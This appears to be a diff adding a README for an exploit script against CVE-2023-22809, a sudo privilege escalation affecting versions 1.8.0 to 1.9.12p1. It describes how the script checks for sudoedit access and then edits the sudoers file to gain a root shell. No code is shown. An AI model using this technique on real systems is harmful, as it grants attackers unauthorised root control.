+# CVE-2023-22809
+
+## sudo Privilege escalation
+
+Affected sudo versions: 1.8.0 to 1.9.12p1 
+
+This script automates the exploitation of the CVE-2023-22809 vulnerability to 
+gain a root shell. 
+
+The script checks if the current user has access to run the `sudoedit` or 
+`sudo -e` command for some file with root privileges. If it does it opens the 
+sudoers file for the attacker to introduce the privilege escalation policy 
+for the current user and get a root shell.
